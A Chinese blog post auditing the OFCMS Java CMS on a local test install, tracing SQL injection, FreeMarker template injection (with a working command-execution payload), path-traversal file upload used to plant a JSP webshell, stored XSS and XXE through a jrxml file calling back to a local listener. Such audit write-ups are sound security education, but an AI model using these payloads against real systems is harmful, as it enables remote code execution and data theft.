Java代码审计之路一(OFCMS)

开启 Java 审计之路,从最基础的项目开始

OFCMS

搭建环境

下载链接

  1. 导入项目

    使用 idea 导入文件,注意这里是导入不是直接打开

    import project 与 open 的区别
    import project:如果项目不是用 idea 开发的,用 import 打开。因为这个情况下,这个项目不是 idea 模型,使用 import 可以避免许多不必要的麻烦。
    open:如果项目之前就是 idea 开发的,直接用 open 即可

    可以在 idea 开始界面选择 import Project,或者在开启项目的情况下,选择以下路径(新版 idea 已经取消开始界面的导入选项,所以使用第二种方法就好)

    image-20220430144814343

    选择 maven

    image-20220430144847574

  2. 配置数据库密码

    新建数据库 ofcms,导入数据库文件,可以使用 navicat 或者 idea 自带的都可以

    image-20220430150513769

    在 ofcms-admin/src/main/resources/dev/conf/ 文件夹下 db.properties 文件,修改数据库的账号和密码

    image-20220430150541881

  3. 修改根目录 maven 项目依赖即 pom.xml 文件

    image-20220430150639926

    修改为合适版本,点击 import changes

  4. 配置 tomcat 服务

    image-20220430150842686

    添加 tomcat server local

    image-20220430150931672

    设置 tomcat 目录

    image-20220430151008688

    点击 deployment

    image-20220430151137395

    点击确定修改成功后下边的 appliaction context 就是文件目录,可以自定义修改

    配置成功后在 idea 右上角可以看到程序启动按钮为绿色

    image-20220430151324847

  5. 启动项目访问

    image-20220430151437709

站点地址:http://localhost:8080/ofcms-admin/

后台地址: http://localhost:8080/ofcms-admin/admin/login.html

账密:admin/123456

这是手动部署的方式,也可以选择下载 war 包以安装方式部署

为了方便调试代码,可以使用 SQL 监控工具查看数据库具体执行语句

推荐两个工具:

漏洞分析

拿到一个 Java 系统后首先分辨是 普通 servlet 还是 ssh/ssm 框架是否使用 maven 工程,如果使用的 maven 工程首先看 pom.xml 配置文件去对系统有一个整体的了解

漏洞位置为:ofcms-
admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

image-20220430152225597

查看函数 getPara
image-20220430152611502
可以发现这里使用自定义函数 getPara 来接收用户输入的参数,然后使用 updata 方法,进入 updata 方法

updata 方法是重载的,只需要看红框里的即可

image-20220430152802086

再继续往下跟 MAIN.updata

image-20220430155225866

可以发现输入的数据作为语句进行编译并且在 executeUpdate 处进行了执行

image-20220430160033577

并且进行回显

image-20220430160321417

image-20220430154822276

有同学可能会感到疑问,这里不是用了预编译,不是预编译可以防止 SQL 注入么?

这里确实是用了预编译,但是这里没有正确使用,正确的方法如下

 public void select() {
        Connection connection = null;
         PreparedStatement preparedStatement = null;
        ResultSet rs = null;
        String sql = "select * from user limit 0,1";
        try {
            //获取数据连接
            connection = basicUse.getConnection();
            //获取发送sql指令执行sql对象
            preparedStatement = connection.prepareStatement(sql);
            //返回查询结果集用于保存数据库查询内容
            rs = preparedStatement.executeQuery();

发现漏洞点这里是将用户输入的语句直接编译执行,而不是作为编译的参数,所以语句可以正常执行

模板注入

模板注入可以说是 Java 中最常出现的漏洞,像 Struts2 的 OGNL 表达式注入,Spring SPEL 表达式注入,甚至 Log4j 的注入都可以认为是模板注入的范畴

浏览 pom.xml 的时候发现存在模版引擎 freemarker,该模版是存在模版注入的

freemarker 模板注入

image-20220430161758107

通过前台首页找到对应的模版

image-20220430163104427

回到系统中找到该模版,然后直接使用 payload 执行系统命令,这里执行的命令是 whoami

<#assign ex="freemarker.template.utility.Execute"?new()> 
  ${ ex("calc") }

image-20220430164103319

成功执行命令

image-20220430165126451

文件上传

前台位置

image-20220501101652324

代码位置

在 com.ofsoft.cms.admin.controller.cms.TemplateController 类的 save 方法中

image-20220501102004980

和模板注入一样,没有对文件名和内容进行过滤,可以通过 …/ 向服务器写任意文件

尝试写一个 jsp 文件

image-20220501104841794

直接 F12 改这里的 value 就可以修改文件名了,不行的话再用 burp

在 tomcat 目录下可以发现已经写入成功

image-20220501104946598

直接用冰蝎连接

image-20220501105423630

XSS

image-20220430170534335

在 1.1.3 版本中新增文章评论功能,该功能存在 xss

image-20220430173715126

在 save 方法中调用了 getParamsMap 方法,这个方法是用来获取用户提交的所有参数的,获取到所有参数后就调用Db.update()方法将数据更新到数据库中,这里是没有进行过滤

抓取用户评论的请求数据包,修改 comment_content 内容为 xss payload:<script>alert(1)</script>,提交数据包

XXE

在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中,通过 get 参数接收 j,并且没有过滤,底下还进行了拼接,可以通过传入 …/ 来控制路径,后边调用了 compileReport 函数

image-20220430222128375

image-20220430222558814

在 compileReport 方法中又调用了JRXmlLoader.load()方法,继续跟踪

image-20220430222644914

在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档内容,默认是没有禁用外部实体解析的,所以这里是存在XXE漏洞的

image-20220501100315661
因为在一开始路径拼接了 jrxml,所以说要利用的话也用这个文件,可以先生成一个文件,文件内容如下

<!DOCTYPE foo <!ENTITY % xxe SYSTEM "http://127.0.0.1:7777"> %xxe; ]>

image-20220501100345892

http://localhost:8080/ofcms_admin/admin/reprot/expReport.html?j=../../static/payload

使用 python 启动一个简单的服务器,访问 url 即可收到请求

image-20220501101501615

参考:

P神代码审计
记又一次Java代码审计

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值